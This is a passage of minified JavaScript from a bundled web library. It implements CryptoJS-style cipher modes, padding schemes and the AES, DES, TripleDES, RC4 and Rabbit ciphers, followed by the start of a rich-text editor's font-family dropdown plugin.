a=this._cipher,n=a.blockSize;i.call(this,e,t,n),a.encryptBlock(e,t),this._prevBlock=e.slice(t,t+n)}}),e.Decryptor=e.extend({processBlock:function(e,t){var a=this._cipher,n=a.blockSize,r=e.slice(t,t+n);a.decryptBlock(e,t),i.call(this,e,t,n),this._prevBlock=r}}),e}(),ne=(G.pad={}).Pkcs7={pad:function(e,t){for(var a=4*t,n=a-e.sigBytes%a,r=n<<24|n<<16|n<<8|n,i=[],o=0;o<n;o+=4)i.push(r);var s=j.create(i,n);e.concat(s)},unpad:function(e){var t=255&e.words[e.sigBytes-1>>>2];e.sigBytes-=t}},V.BlockCipher=J.extend({cfg:J.cfg.extend({mode:ae,padding:ne}),reset:function(){var e;J.reset.call(this);var t=this.cfg,a=t.iv,n=t.mode;this._xformMode==this._ENC_XFORM_MODE?e=n.createEncryptor:(e=n.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==e?this._mode.init(this,a&&a.words):(this._mode=e.call(n,this,a&&a.words),this._mode.__creator=e)},_doProcessBlock:function(e,t){this._mode.processBlock(e,t)},_doFinalize:function(){var e,t=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(t.pad(this._data,this.blockSize),e=this._process(!0)):(e=this._process(!0),t.unpad(e)),e},blockSize:4}),re=V.CipherParams=Y.extend({init:function(e){this.mixIn(e)},toString:function(e){return(e||this.formatter).stringify(this)}}),ie=(G.format={}).OpenSSL={stringify:function(e){var t=e.ciphertext,a=e.salt;return(a?j.create([1398893684,1701076831]).concat(a).concat(t):t).toString(Z)},parse:function(e){var t,a=Z.parse(e),n=a.words;return 1398893684==n[0]&&1701076831==n[1]&&(t=j.create(n.slice(2,4)),n.splice(0,4),a.sigBytes-=16),re.create({ciphertext:a,salt:t})}},oe=V.SerializableCipher=Y.extend({cfg:Y.extend({format:ie}),encrypt:function(e,t,a,n){n=this.cfg.extend(n);var r=e.createEncryptor(a,n),i=r.finalize(t),o=r.cfg;return re.create({ciphertext:i,key:a,iv:o.iv,algorithm:e,mode:o.mode,padding:o.padding,blockSize:e.blockSize,formatter:n.format})},decrypt:function(e,t,a,n){return n=this.cfg.extend(n),t=this._parse(t,n.format),e.createDecryptor(a,n).finalize(t.ciphertext)},_parse:function(e,t){return"string"==typeof e?t.parse(e,this):e}}),se=(G.kdf={}).OpenSSL={execute:function(e,t,a,n){n||(n=j.random(8));var r=Q.create({keySize:t+a}).compute(e,n),i=j.create(r.words.slice(t),4*a);return r.sigBytes=4*t,re.create({key:r,iv:i,salt:n})}},le=V.PasswordBasedCipher=oe.extend({cfg:oe.cfg.extend({kdf:se}),encrypt:function(e,t,a,n){var r=(n=this.cfg.extend(n)).kdf.execute(a,e.keySize,e.ivSize);n.iv=r.iv;var i=oe.encrypt.call(this,e,t,r.key,n);return i.mixIn(r),i},decrypt:function(e,t,a,n){n=this.cfg.extend(n),t=this._parse(t,n.format);var r=n.kdf.execute(a,e.keySize,e.ivSize,t.salt);return n.iv=r.iv,oe.decrypt.call(this,e,t,r.key,n)}})),ve.mode.CFB=function(){var e=ve.lib.BlockCipherMode.extend();function i(e,t,a,n){var r,i=this._iv;i?(r=i.slice(0),this._iv=undefined):r=this._prevBlock,n.encryptBlock(r,0);for(var o=0;o<a;o++)e[t+o]^=r[o]}return e.Encryptor=e.extend({processBlock:function(e,t){var a=this._cipher,n=a.blockSize;i.call(this,e,t,n,a),this._prevBlock=e.slice(t,t+n)}}),e.Decryptor=e.extend({processBlock:function(e,t){var a=this._cipher,n=a.blockSize,r=e.slice(t,t+n);i.call(this,e,t,n,a),this._prevBlock=r}}),e}(),ve.mode.ECB=((ce=ve.lib.BlockCipherMode.extend()).Encryptor=ce.extend({processBlock:function(e,t){this._cipher.encryptBlock(e,t)}}),ce.Decryptor=ce.extend({processBlock:function(e,t){this._cipher.decryptBlock(e,t)}}),ce),ve.pad.AnsiX923={pad:function(e,t){var a=e.sigBytes,n=4*t,r=n-a%n,i=a+r-1;e.clamp(),e.words[i>>>2]|=r<<24-i%4*8,e.sigBytes+=r},unpad:function(e){var t=255&e.words[e.sigBytes-1>>>2];e.sigBytes-=t}},ve.pad.Iso10126={pad:function(e,t){var a=4*t,n=a-e.sigBytes%a;e.concat(ve.lib.WordArray.random(n-1)).concat(ve.lib.WordArray.create([n<<24],1))},unpad:function(e){var t=255&e.words[e.sigBytes-1>>>2];e.sigBytes-=t}},ve.pad.Iso97971={pad:function(e,t){e.concat(ve.lib.WordArray.create([2147483648],1)),ve.pad.ZeroPadding.pad(e,t)},unpad:function(e){ve.pad.ZeroPadding.unpad(e),e.sigBytes--}},ve.mode.OFB=(de=ve.lib.BlockCipherMode.extend(),fe=de.Encryptor=de.extend({processBlock:function(e,t){var a=this._cipher,n=a.blockSize,r=this._iv,i=this._keystream;r&&(i=this._keystream=r.slice(0),this._iv=undefined),a.encryptBlock(i,0);for(var o=0;o<n;o++)e[t+o]^=i[o]}}),de.Decryptor=fe,de),ve.pad.NoPadding={pad:function(){},unpad:function(){}},ue=(pe=ve).lib.CipherParams,ge=pe.enc.Hex,pe.format.Hex={stringify:function(e){return e.ciphertext.toString(ge)},parse:function(e){var t=ge.parse(e);return ue.create({ciphertext:t})}},function(){var e=ve,t=e.lib.BlockCipher,a=e.algo,c=[],d=[],f=[],p=[],u=[],g=[],h=[],m=[],v=[],b=[];!function(){for(var e=[],t=0;t<256;t++)e[t]=t<128?t<<1:t<<1^283;var a=0,n=0;for(t=0;t<256;t++){var r=n^n<<1^n<<2^n<<3^n<<4;r=r>>>8^255&r^99,c[a]=r;var i=e[d[r]=a],o=e[i],s=e[o],l=257*e[r]^16843008*r;f[a]=l<<24|l>>>8,p[a]=l<<16|l>>>16,u[a]=l<<8|l>>>24,g[a]=l;l=16843009*s^65537*o^257*i^16843008*a;h[r]=l<<24|l>>>8,m[r]=l<<16|l>>>16,v[r]=l<<8|l>>>24,b[r]=l,a?(a=i^e[e[e[s^i]]],n^=e[e[n]]):a=n=1}}();var E=[0,1,2,4,8,16,32,64,128,27,54],n=a.AES=t.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var e=this._keyPriorReset=this._key,t=e.words,a=e.sigBytes/4,n=4*((this._nRounds=a+6)+1),r=this._keySchedule=[],i=0;i<n;i++)i<a?r[i]=t[i]:(l=r[i-1],i%a?6<a&&i%a==4&&(l=c[l>>>24]<<24|c[l>>>16&255]<<16|c[l>>>8&255]<<8|c[255&l]):(l=c[(l=l<<8|l>>>24)>>>24]<<24|c[l>>>16&255]<<16|c[l>>>8&255]<<8|c[255&l],l^=E[i/a|0]<<24),r[i]=r[i-a]^l);for(var o=this._invKeySchedule=[],s=0;s<n;s++){i=n-s;if(s%4)var l=r[i];else l=r[i-4];o[s]=s<4||i<=4?l:h[c[l>>>24]]^m[c[l>>>16&255]]^v[c[l>>>8&255]]^b[c[255&l]]}}},encryptBlock:function(e,t){this._doCryptBlock(e,t,this._keySchedule,f,p,u,g,c)},decryptBlock:function(e,t){var a=e[t+1];e[t+1]=e[t+3],e[t+3]=a,this._doCryptBlock(e,t,this._invKeySchedule,h,m,v,b,d);a=e[t+1];e[t+1]=e[t+3],e[t+3]=a},_doCryptBlock:function(e,t,a,n,r,i,o,s){for(var l=this._nRounds,c=e[t]^a[0],d=e[t+1]^a[1],f=e[t+2]^a[2],p=e[t+3]^a[3],u=4,g=1;g<l;g++){var h=n[c>>>24]^r[d>>>16&255]^i[f>>>8&255]^o[255&p]^a[u++],m=n[d>>>24]^r[f>>>16&255]^i[p>>>8&255]^o[255&c]^a[u++],v=n[f>>>24]^r[p>>>16&255]^i[c>>>8&255]^o[255&d]^a[u++],b=n[p>>>24]^r[c>>>16&255]^i[d>>>8&255]^o[255&f]^a[u++];c=h,d=m,f=v,p=b}h=(s[c>>>24]<<24|s[d>>>16&255]<<16|s[f>>>8&255]<<8|s[255&p])^a[u++],m=(s[d>>>24]<<24|s[f>>>16&255]<<16|s[p>>>8&255]<<8|s[255&c])^a[u++],v=(s[f>>>24]<<24|s[p>>>16&255]<<16|s[c>>>8&255]<<8|s[255&d])^a[u++],b=(s[p>>>24]<<24|s[c>>>16&255]<<16|s[d>>>8&255]<<8|s[255&f])^a[u++];e[t]=h,e[t+1]=m,e[t+2]=v,e[t+3]=b},keySize:8});e.AES=t._createHelper(n)}(),function(){var e=ve,t=e.lib,r=t.WordArray,a=t.BlockCipher,n=e.algo,c=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],d=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],f=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],p=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],u=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],i=n.DES=a.extend({_doReset:function(){for(var e=this._key.words,t=[],a=0;a<56;a++){var n=c[a]-1;t[a]=e[n>>>5]>>>31-n%32&1}for(var r=this._subKeys=[],i=0;i<16;i++){var o=r[i]=[],s=f[i];for(a=0;a<24;a++)o[a/6|0]|=t[(d[a]-1+s)%28]<<31-a%6,o[4+(a/6|0)]|=t[28+(d[a+24]-1+s)%28]<<31-a%6;o[0]=o[0]<<1|o[0]>>>31;for(a=1;a<7;a++)o[a]=o[a]>>>4*(a-1)+3;o[7]=o[7]<<5|o[7]>>>27}var l=this._invSubKeys=[];for(a=0;a<16;a++)l[a]=r[15-a]},encryptBlock:function(e,t){this._doCryptBlock(e,t,this._subKeys)},decryptBlock:function(e,t){this._doCryptBlock(e,t,this._invSubKeys)},_doCryptBlock:function(e,t,a){this._lBlock=e[t],this._rBlock=e[t+1],g.call(this,4,252645135),g.call(this,16,65535),h.call(this,2,858993459),h.call(this,8,16711935),g.call(this,1,1431655765);for(var n=0;n<16;n++){for(var r=a[n],i=this._lBlock,o=this._rBlock,s=0,l=0;l<8;l++)s|=p[l][((o^r[l])&u[l])>>>0];this._lBlock=o,this._rBlock=i^s}var c=this._lBlock;this._lBlock=this._rBlock,this._rBlock=c,g.call(this,1,1431655765),h.call(this,8,16711935),h.call(this,2,858993459),g.call(this,16,65535),g.call(this,4,252645135),e[t]=this._lBlock,e[t+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function g(e,t){var a=(this._lBlock>>>e^this._rBlock)&t;this._rBlock^=a,this._lBlock^=a<<e}function h(e,t){var a=(this._rBlock>>>e^this._lBlock)&t;this._lBlock^=a,this._rBlock^=a<<e}e.DES=a._createHelper(i);var o=n.TripleDES=a.extend({_doReset:function(){var e=this._key.words;if(2!==e.length&&4!==e.length&&e.length<6)throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192.");var t=e.slice(0,2),a=e.length<4?e.slice(0,2):e.slice(2,4),n=e.length<6?e.slice(0,2):e.slice(4,6);this._des1=i.createEncryptor(r.create(t)),this._des2=i.createEncryptor(r.create(a)),this._des3=i.createEncryptor(r.create(n))},encryptBlock:function(e,t){this._des1.encryptBlock(e,t),this._des2.decryptBlock(e,t),this._des3.encryptBlock(e,t)},decryptBlock:function(e,t){this._des3.decryptBlock(e,t),this._des2.encryptBlock(e,t),this._des1.decryptBlock(e,t)},keySize:6,ivSize:2,blockSize:2});e.TripleDES=a._createHelper(o)}(),function(){var e=ve,t=e.lib.StreamCipher,a=e.algo,n=a.RC4=t.extend({_doReset:function(){for(var e=this._key,t=e.words,a=e.sigBytes,n=this._S=[],r=0;r<256;r++)n[r]=r;r=0;for(var i=0;r<256;r++){var o=r%a,s=t[o>>>2]>>>24-o%4*8&255;i=(i+n[r]+s)%256;var l=n[r];n[r]=n[i],n[i]=l}this._i=this._j=0},_doProcessBlock:function(e,t){e[t]^=r.call(this)},keySize:8,ivSize:0});function r(){for(var e=this._S,t=this._i,a=this._j,n=0,r=0;r<4;r++){a=(a+e[t=(t+1)%256])%256;var i=e[t];e[t]=e[a],e[a]=i,n|=e[(e[t]+e[a])%256]<<24-8*r}return this._i=t,this._j=a,n}e.RC4=t._createHelper(n);var i=a.RC4Drop=n.extend({cfg:n.cfg.extend({drop:192}),_doReset:function(){n._doReset.call(this);for(var e=this.cfg.drop;0<e;e--)r.call(this)}});e.RC4Drop=t._createHelper(i)}(),ve.mode.CTRGladman=function(){var e=ve.lib.BlockCipherMode.extend();function c(e){if(255==(e>>24&255)){var t=e>>16&255,a=e>>8&255,n=255&e;255===t?(t=0,255===a?(a=0,255===n?n=0:++n):++a):++t,e=0,e+=t<<16,e+=a<<8,e+=n}else e+=1<<24;return e}var t=e.Encryptor=e.extend({processBlock:function(e,t){var a=this._cipher,n=a.blockSize,r=this._iv,i=this._counter;r&&(i=this._counter=r.slice(0),this._iv=undefined),function l(e){return 0===(e[0]=c(e[0]))&&(e[1]=c(e[1])),e}(i);var o=i.slice(0);a.encryptBlock(o,0);for(var s=0;s<n;s++)e[t+s]^=o[s]}});return e.Decryptor=t,e}(),function(){var e=ve,t=e.lib.StreamCipher,a=e.algo,r=[],l=[],c=[],n=a.Rabbit=t.extend({_doReset:function(){for(var e=this._key.words,t=this.cfg.iv,a=0;a<4;a++)e[a]=16711935&(e[a]<<8|e[a]>>>24)|4278255360&(e[a]<<24|e[a]>>>8);var n=this._X=[e[0],e[3]<<16|e[2]>>>16,e[1],e[0]<<16|e[3]>>>16,e[2],e[1]<<16|e[0]>>>16,e[3],e[2]<<16|e[1]>>>16],r=this._C=[e[2]<<16|e[2]>>>16,4294901760&e[0]|65535&e[1],e[3]<<16|e[3]>>>16,4294901760&e[1]|65535&e[2],e[0]<<16|e[0]>>>16,4294901760&e[2]|65535&e[3],e[1]<<16|e[1]>>>16,4294901760&e[3]|65535&e[0]];for(a=this._b=0;a<4;a++)p.call(this);for(a=0;a<8;a++)r[a]^=n[a+4&7];if(t){var i=t.words,o=i[0],s=i[1],l=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),c=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),d=l>>>16|4294901760&c,f=c<<16|65535&l;r[0]^=l,r[1]^=d,r[2]^=c,r[3]^=f,r[4]^=l,r[5]^=d,r[6]^=c,r[7]^=f;for(a=0;a<4;a++)p.call(this)}},_doProcessBlock:function(e,t){var a=this._X;p.call(this),r[0]=a[0]^a[5]>>>16^a[3]<<16,r[1]=a[2]^a[7]>>>16^a[5]<<16,r[2]=a[4]^a[1]>>>16^a[7]<<16,r[3]=a[6]^a[3]>>>16^a[1]<<16;for(var n=0;n<4;n++)r[n]=16711935&(r[n]<<8|r[n]>>>24)|4278255360&(r[n]<<24|r[n]>>>8),e[t+n]^=r[n]},blockSize:4,ivSize:2});function p(){for(var e=this._X,t=this._C,a=0;a<8;a++)l[a]=t[a];t[0]=t[0]+1295307597+this._b|0,t[1]=t[1]+3545052371+(t[0]>>>0<l[0]>>>0?1:0)|0,t[2]=t[2]+886263092+(t[1]>>>0<l[1]>>>0?1:0)|0,t[3]=t[3]+1295307597+(t[2]>>>0<l[2]>>>0?1:0)|0,t[4]=t[4]+3545052371+(t[3]>>>0<l[3]>>>0?1:0)|0,t[5]=t[5]+886263092+(t[4]>>>0<l[4]>>>0?1:0)|0,t[6]=t[6]+1295307597+(t[5]>>>0<l[5]>>>0?1:0)|0,t[7]=t[7]+3545052371+(t[6]>>>0<l[6]>>>0?1:0)|0,this._b=t[7]>>>0<l[7]>>>0?1:0;for(a=0;a<8;a++){var n=e[a]+t[a],r=65535&n,i=n>>>16,o=((r*r>>>17)+r*i>>>15)+i*i,s=((4294901760&n)*n|0)+((65535&n)*n|0);c[a]=o^s}e[0]=c[0]+(c[7]<<16|c[7]>>>16)+(c[6]<<16|c[6]>>>16)|0,e[1]=c[1]+(c[0]<<8|c[0]>>>24)+c[7]|0,e[2]=c[2]+(c[1]<<16|c[1]>>>16)+(c[0]<<16|c[0]>>>16)|0,e[3]=c[3]+(c[2]<<8|c[2]>>>24)+c[1]|0,e[4]=c[4]+(c[3]<<16|c[3]>>>16)+(c[2]<<16|c[2]>>>16)|0,e[5]=c[5]+(c[4]<<8|c[4]>>>24)+c[3]|0,e[6]=c[6]+(c[5]<<16|c[5]>>>16)+(c[4]<<16|c[4]>>>16)|0,e[7]=c[7]+(c[6]<<8|c[6]>>>24)+c[5]|0}e.Rabbit=t._createHelper(n)}(),ve.mode.CTR=(he=ve.lib.BlockCipherMode.extend(),me=he.Encryptor=he.extend({processBlock:function(e,t){var a=this._cipher,n=a.blockSize,r=this._iv,i=this._counter;r&&(i=this._counter=r.slice(0),this._iv=undefined);var o=i.slice(0);a.encryptBlock(o,0),i[n-1]=i[n-1]+1|0;for(var s=0;s<n;s++)e[t+s]^=o[s]}}),he.Decryptor=me,he),function(){var e=ve,t=e.lib.StreamCipher,a=e.algo,r=[],l=[],c=[],n=a.RabbitLegacy=t.extend({_doReset:function(){for(var e=this._key.words,t=this.cfg.iv,a=this._X=[e[0],e[3]<<16|e[2]>>>16,e[1],e[0]<<16|e[3]>>>16,e[2],e[1]<<16|e[0]>>>16,e[3],e[2]<<16|e[1]>>>16],n=this._C=[e[2]<<16|e[2]>>>16,4294901760&e[0]|65535&e[1],e[3]<<16|e[3]>>>16,4294901760&e[1]|65535&e[2],e[0]<<16|e[0]>>>16,4294901760&e[2]|65535&e[3],e[1]<<16|e[1]>>>16,4294901760&e[3]|65535&e[0]],r=this._b=0;r<4;r++)p.call(this);for(r=0;r<8;r++)n[r]^=a[r+4&7];if(t){var i=t.words,o=i[0],s=i[1],l=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),c=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),d=l>>>16|4294901760&c,f=c<<16|65535&l;n[0]^=l,n[1]^=d,n[2]^=c,n[3]^=f,n[4]^=l,n[5]^=d,n[6]^=c,n[7]^=f;for(r=0;r<4;r++)p.call(this)}},_doProcessBlock:function(e,t){var a=this._X;p.call(this),r[0]=a[0]^a[5]>>>16^a[3]<<16,r[1]=a[2]^a[7]>>>16^a[5]<<16,r[2]=a[4]^a[1]>>>16^a[7]<<16,r[3]=a[6]^a[3]>>>16^a[1]<<16;for(var n=0;n<4;n++)r[n]=16711935&(r[n]<<8|r[n]>>>24)|4278255360&(r[n]<<24|r[n]>>>8),e[t+n]^=r[n]},blockSize:4,ivSize:2});function p(){for(var e=this._X,t=this._C,a=0;a<8;a++)l[a]=t[a];t[0]=t[0]+1295307597+this._b|0,t[1]=t[1]+3545052371+(t[0]>>>0<l[0]>>>0?1:0)|0,t[2]=t[2]+886263092+(t[1]>>>0<l[1]>>>0?1:0)|0,t[3]=t[3]+1295307597+(t[2]>>>0<l[2]>>>0?1:0)|0,t[4]=t[4]+3545052371+(t[3]>>>0<l[3]>>>0?1:0)|0,t[5]=t[5]+886263092+(t[4]>>>0<l[4]>>>0?1:0)|0,t[6]=t[6]+1295307597+(t[5]>>>0<l[5]>>>0?1:0)|0,t[7]=t[7]+3545052371+(t[6]>>>0<l[6]>>>0?1:0)|0,this._b=t[7]>>>0<l[7]>>>0?1:0;for(a=0;a<8;a++){var n=e[a]+t[a],r=65535&n,i=n>>>16,o=((r*r>>>17)+r*i>>>15)+i*i,s=((4294901760&n)*n|0)+((65535&n)*n|0);c[a]=o^s}e[0]=c[0]+(c[7]<<16|c[7]>>>16)+(c[6]<<16|c[6]>>>16)|0,e[1]=c[1]+(c[0]<<8|c[0]>>>24)+c[7]|0,e[2]=c[2]+(c[1]<<16|c[1]>>>16)+(c[0]<<16|c[0]>>>16)|0,e[3]=c[3]+(c[2]<<8|c[2]>>>24)+c[1]|0,e[4]=c[4]+(c[3]<<16|c[3]>>>16)+(c[2]<<16|c[2]>>>16)|0,e[5]=c[5]+(c[4]<<8|c[4]>>>24)+c[3]|0,e[6]=c[6]+(c[5]<<16|c[5]>>>16)+(c[4]<<16|c[4]>>>16)|0,e[7]=c[7]+(c[6]<<8|c[6]>>>24)+c[5]|0}e.RabbitLegacy=t._createHelper(n)}(),ve.pad.ZeroPadding={pad:function(e,t){var a=4*t;e.clamp(),e.sigBytes+=a-(e.sigBytes%a||a)},unpad:function(e){var t=e.words,a=e.sigBytes-1;for(a=e.sigBytes-1;0<=a;a--)if(t[a>>>2]>>>24-a%4*8&255){e.sigBytes=a+1;break}}},{init:function be(){},cryptoJS:ve}},Object.assign(St.DEFAULTS,{fontFamily:{"Arial,Helvetica,sans-serif":"Arial","Georgia,serif":"Georgia","Impact,Charcoal,sans-serif":"Impact","Tahoma,Geneva,sans-serif":"Tahoma","Times New Roman,Times,serif,-webkit-standard":"Times New Roman","Verdana,Geneva,sans-serif":"Verdana"},fontFamilySelection:!1,fontFamilyDefaultSelection:"Font Family"}),St.PLUGINS.fontFamily=function(r){var i=r.$;function o(e){var t=e.replace(/(sans-serif|serif|monospace|cursive|fantasy)/gi,"").replace(/"|'| /g,"").split(",");return i(this).grep(t,function(e){return 0<e.length})}function s(e,t){for(var a=0;a<e.length;a++)for(var n=0;n<t.length;n++)if(e[a].toLowerCase()===t[n].toLowerCase())return[a,n];return null}function a(){var e=o(i(r.selection.element()).css("font-family")),t=[];for(var a in r.opts.fontFamily)if(r.opts.fontFamily.hasOwnProperty(a)){var n=s(e,o(a));n&&t.push([a,n])}return 0===t.length?null:(t.sort(function(e,t){var a=e[1][0]-t[1][0];return 0===a?e[1][1]-t[1][1]:a}),t[0][0])}return{apply:function t(e){r.format.applyStyle("font-family",e)},refreshOnShow:function n(e,t){t.find(".fr-command.fr-active").removeClass("fr-active").attr("aria-selected",!1),t.find('.fr-command[data-param1="'.concat(a(),'"]')).addClass("fr-active").attr("aria-selected",!0)},refresh:function l(e){if(r.opts.fontFamilySelection){var t=i(r.selection.element()).css("font-family").replace(/(sans-serif|serif|monospace|cursive|fantasy)/gi,"").replace(/"|'|/g,"").split(",");e.find("> span").text(r.opts.fontFamily[a()]||t[0]||r.language.translate(r.opts.fontFamilyDefaultSelection))}}}},St.RegisterCommand("fontFamily",{type:"dropdown",displaySelection:function(e){return e.opts.fontFamilySelection},defaultSelection:function(e){return e.opts.fontFamilyDefaultSelection},displaySelectionWidth:120,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.fontFamily;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="fontFamily" data-param1="'.concat(a,'" \n style="font-family: ').concat(a,'" 